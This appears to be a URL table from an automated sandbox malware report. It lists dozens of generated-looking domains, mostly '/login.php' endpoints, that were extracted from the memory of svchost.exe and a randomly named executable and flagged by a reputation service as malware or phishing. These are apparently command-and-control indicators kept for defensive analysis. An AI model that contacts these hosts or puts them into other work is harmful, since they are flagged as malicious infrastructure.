http://qedysol.com/login.php	svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379463124.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2905696441.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://vopycoc.com/login.php	svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380222392.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426788667.0000000009235000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://qeqykop.com/login.php	svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://qexyfuq.com/pg	svchost.exe, 00000002.00000003.2667584330.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://gadycew.com/login.php	svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347178577.0000000003322000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349507832.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349422845.000000000332C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347613705.0000000003325000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://vocyjet.com/login.php	svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lyxyvyn.com/login.php	svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2913582701.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lykyfud.com/login.php	svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649747897.00000000040F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349255775.0000000003379000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2647496494.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://puzylyp.com/login.php	svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178063171.000000000923F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388042380.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2399948508.0000000009324000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.0000000001098000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.0000000000802000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.000000000154E000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2853769839.000000000988D000.00000004.00000010.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2640207678.0000000001363000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2756051050.000000000914B000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2856769526.0000000008FC3000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2676238100.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000018.00000002.2676884944.00000000009FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://galyvuz.com/login.php	svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://qeqyxov.com/login.php	svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2184899677.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2386712444.00000000040EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2207439218.00000000008E9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387387248.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.00000000010D0000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E29000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D47000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://vowyrif.com/login.php	svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347033417.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lymyvin.com/	svchost.exe, 00000002.00000003.2329963433.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328865580.0000000003315000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329926664.0000000003317000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328162774.0000000003315000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lyrywoj.com/login.php	svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3418889094.000000000335E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3419128942.000000000336B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3278908147.000000000335C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2927397659.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3279511546.0000000003369000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928459922.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lyryman.com/login.php	svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746888339.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2829874698.000000000084D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363422290.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363692365.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2362592176.00000000092C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://vofypam.com/http://pujycyp.com/http://volydyk.com/http://pujycyp.com/http://qetyrul.com/http:	svchost.exe, 00000002.00000003.2667584330.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://vocyruk.com/login.php	svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178415911.00000000033F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197653218.0000000009298000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388042380.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202867008.0000000009299000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2649196751.00000000091F7000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E20000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2572564754.0000000000FB2000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.00000000014D8000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.0000000009360000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://qexyfuq.com/login.php	svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lyvysur.com/login.php	svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2607855494.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2609571355.0000000003368000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lyvymej.com/login.php	svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://qebyqeq.com/login.php	svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://vowypim.com/login.php	svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379940773.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376002854.000000000923B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2896263867.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375028226.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380116523.00000000033EF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lyryled.com/login.php	svchost.exe, 00000002.00000003.2289346650.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296615273.000000000337B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2289345179.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.google.comt.4	svchost.exe, 00000002.00000003.2376391418.0000000003342000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://vojygok.com/login.php	svchost.exe, 00000002.00000003.2344956997.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2345061243.0000000003356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2341852646.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344054756.0000000003378000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://galydyw.com/login.php	svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lyryjir.com/login.php	svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2511691560.0000000003325000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310815345.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2530049232.000000000332A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2511442886.0000000003330000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499110020.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2511703150.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2511409546.0000000003323000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://qekysip.com/	svchost.exe, 00000002.00000003.2498726255.000000000085D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310938686.00000000092CF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2309738735.00000000092BB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2498955488.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2507122526.00000000040F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://gahyvab.com/login.php	svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2905696441.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426788667.0000000009235000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pujycil.com/login.php	svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3407860513.0000000000826000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://puzymup.com/login.php	svchost.exe, 00000002.00000003.2885524752.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2377062429.0000000003357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2896263867.0000000000854000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pumycug.com/	svchost.exe, 00000002.00000003.2329963433.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328865580.0000000003315000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329926664.0000000003317000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328162774.0000000003315000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://vojyduf.com/login.php	svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lysytoj.com/login.php	svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://qedynaq.com/login.php//vofymem.com/	svchost.exe, 00000002.00000003.2587482853.00000000033CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://gatykyh.com/login.php	svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
